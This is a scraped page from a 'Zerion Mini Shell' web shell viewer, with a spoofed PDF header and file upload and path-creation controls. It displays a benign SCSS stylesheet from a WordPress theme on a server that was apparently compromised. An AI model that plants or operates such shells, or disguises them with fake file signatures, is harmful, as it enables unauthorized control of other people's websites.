%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/businessmultisite/wp-content/themes/stripes_weekly/src/scss/
Upload File :
Create Path :
Current File : /var/www/businessmultisite/wp-content/themes/stripes_weekly/src/scss/_category.scss

.category-body--first {
    > * {
        padding-bottom: calc-rem(35);
        margin-bottom: calc-rem(35);
        border-bottom: solid 1px #D6D6D6;
    }

    .load-more-posts--wrapper {
        @include media-breakpoint-down(lg) {
            display: none;
        }
    }
}

.category-body--second,
.category-body--third,
.category-load-more--mobile {
    > * {
        padding-bottom: calc-rem(35);
        margin-bottom: calc-rem(35);
        border-bottom: solid 1px #D6D6D6;
    }
}

.category-wrapper {
    padding-top: calc-rem(95);
    padding-bottom: calc-rem(65);

    @include media-breakpoint-down(md) {
        padding-top: calc-rem(35);
        padding-bottom: 0;
    }
}

.category-header {
    margin-bottom: calc-rem(65);
    @include media-breakpoint-down(md) {
        margin-bottom: calc-rem(25);
    }

    .category-header--page-type {
        font-size: calc-rem(15);
        text-transform: uppercase;
        color: #262626;
        letter-spacing: calc-rem(3);

        @include media-breakpoint-down(md) {
            margin-bottom: calc-rem(10);
        }
    }

    .category-header--title--wrapper {
        position: relative;
        display: inline-block;

        @include media-breakpoint-down(md) {
            margin-bottom: calc-rem(17);
            width: 100%;
        }
    }

    .category-header--title {
        font-size: calc-rem(41);
        font-weight: 900;
        position: relative;
        padding-right: calc-rem(37);
        display: inline-block;
        margin-bottom: calc-rem(12);
        color: $primary;

        @include media-breakpoint-down(md) {
            font-size: calc-rem(28);
            line-height: calc-lh(28,33);
            padding-right: calc-rem(28);
            position: inherit;
        }


        &.category-header--has-neighbors {
            cursor: pointer;
        }

        i {
            position: absolute;
            right: 0;
            top: 50%;
            transform: translateY(-50%);
            font-size: calc-rem(18);
            margin-top: calc-rem(5);

            @include media-breakpoint-down(md) {
                margin-top: 0;
            }

        }
    }

    .category-header--selector {
        background: #F0EEEA;
        box-shadow: 0px 9px 13px 0px rgba(0,0,0,0.3);
        max-width: 380px;
        position: absolute;
        left: 100%;
        top: 100%;
        margin-top: calc-rem(-10);
        width: 100%;
        transform: translateX(-50%);
        z-index: 10;
        display: none;

        @include media-breakpoint-down(md) {
            max-width: 1000px;
            left: 0;
            right: 0;
            transform: none;
            margin-top: 0;
        }
        

        &.category-header--selector--visible {
            display: block;
        }
        

        .category-header--selector--list {
            padding: calc-rem(20);
            
            
            .category-header--selector--item {
                position: relative;
                margin-bottom: calc-rem(10);
                display: flex;
                align-items: center;
                padding: calc-rem(4);
                text-decoration: none;
                box-shadow: 0px 3px 4px 0px rgba(0,0,0,0.2);
                color: #262626;
                background: #fff;


                &:last-child {
                    margin-bottom: 0;
                }
    
                &:hover {
                    background: $primary;
                    color: #fff;
                }
    
                span {
                    flex: 1 1;
                    display: block;
                    min-width: 1px;
                    font-size: calc-rem(16);
                    line-height: calc-lh(16,21);
                    display: flex;
                    align-items: center;
                    min-height: calc-rem(39);
                    padding-left: calc-rem(15);
                }
    
                
    
                i {
                    margin-right: calc-rem(15);
                    margin-left: calc-rem(15);
                    font-size: calc-rem(14);
                }
    
               
    
            }
        }
    
        .category-header--selector--close {
            display: flex;
            align-items: center;
            justify-content: center;
            text-decoration: none;
            font-size: calc-rem(15);
            padding: calc-rem(17) calc-rem(20);
            background: #1F1F1F;
            color: #fff;
            width: 100%;
            border: none;

            i {
                margin-left: calc-rem(10);
            }
        }
    }
    

    .category-header--description {
        font-size: calc-rem(20);
        line-height: calc-lh(20,33);
        max-width: calc-rem(930);
        margin-bottom: calc-rem(30);

        @include media-breakpoint-down(md) {
            font-size: calc-rem(17);
            line-height: calc-lh(17,26.5);
            margin-bottom: calc-rem(25);

        }
    }

    .category-header--articles-quantity {
        font-size: calc-rem(16);
        padding-top: calc-rem(12);
        padding-bottom: calc-rem(12);
        border-top: solid 1px #D6D6D6;
        border-bottom: solid 1px #D6D6D6;

        @include media-breakpoint-down(md) {
            font-size: calc-rem(13);
            padding-top: calc-rem(11);
            padding-bottom: calc-rem(11);
        }

        span {
            font-weight: 900;
        }
    }
}

Zerion Mini Shell 1.0